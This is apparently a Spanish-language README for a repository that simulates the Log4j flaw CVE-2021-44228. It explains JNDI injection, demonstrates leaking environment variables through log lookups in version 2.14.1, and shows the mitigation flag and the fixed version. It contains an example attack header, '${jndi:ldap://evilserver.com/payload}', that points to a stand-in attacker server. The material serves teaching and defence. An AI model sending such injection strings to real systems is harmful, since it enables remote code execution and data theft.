nikolas-charalambidis/cve-2021-44228Una simple simulación del infame problema CVE-2021-44228.
Este repositorio representa una simulación simplificada del infame problema CVE-2021-44228.
Además de las propiedades del sistema y otras búsquedas en estructuras de diccionario, Apache Log4j también implementa la función de búsqueda JNDI por varias razones. El JNDI puede obtener servicios de varios proveedores de servicios, como LDAP, DNS, el registro de Java RMI, etc. El propio JNDI es una API simple e insegura que no protege contra proveedores de servicios controlados por un tercero. Mientras el atacante controle un servidor accesible públicamente a través de la URL maliciosa y sepa lo que registra la aplicación que escucha en un puerto específico, puede abusar del formato de registro para hacer que la aplicación cargue y ejecute código Java arbitrario mediante la inyección JNDI. Esto se puede transmitir a través de cabeceras de solicitud comúnmente registradas, ya sea en texto plano o de forma ofuscada.
user-agent: ${jndi:ldap://evilserver.com/payload}
Apache Log4j fue vulnerable a una vulnerabilidad de ejecución remota de código antes de que saliera la versión 2.16.0 el 13 de diciembre, y los autores tienen todo mi respeto por su rápida respuesta.
Recursos:
La simulación utiliza variables de entorno en lugar de un servidor LDAP, y el formato de registro admite la sustitución de propiedades. El principio no es diferente.
Se requieren Java 11 y Maven; sin embargo, Maven Wrapper también está incluido en el repositorio.
El repositorio de GitHub define un secreto de repositorio PASSWORD que se establece como variable de entorno en el archivo de flujo de trabajo .github/workflow/ci.yml para poner un secreto a disposición de una acción.
Para reproducir el problema localmente, se puede utilizar la variable de entorno JAVA_HOME, de uso común.
El flujo de trabajo compila y ejecuta dos aplicaciones con diferentes versiones de Apache Log4j, 2.14.1 y 2.16.0, y aquí hay un ejemplo de ejecución en GitHub Actions: Java CI #7.
Esta versión es vulnerable al ataque. Sigue estos pasos para reproducirlo:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
La variable de entorno aparece registrada:
args[0] = C:\Program Files\Java\jdk-11.0.11
Aquí hay una captura de pantalla de GitHub Action por si la ejecución real se elimina automáticamente:
Ten en cuenta que si intentas imprimir secretos en el registro, GitHub los redacta automáticamente y los valores se enmascaran y se muestran como ***.
Sin embargo, la propiedad fue sustituida.
Como solución temporal y parcial, se indica añadir el parámetro JVM -Dlog4j2.formatMsgNoLookups=True; por lo tanto, es necesario reiniciar todos los nodos de la aplicación.
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
No se produce sustitución de propiedades:
args[0] = ${env:JAVA_HOME:-}
De nuevo, aquí hay una captura de pantalla de GitHub Actions:
El problema se solucionó en Log4j 2.12.2 (Java 7) y Log4j 2.16.0 (Java 8) por el equipo de seguridad de Log4j.
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
No se produce sustitución de propiedades:
args[0] = ${env:JAVA_HOME:-}
De nuevo, aquí hay una captura de pantalla de GitHub Actions:
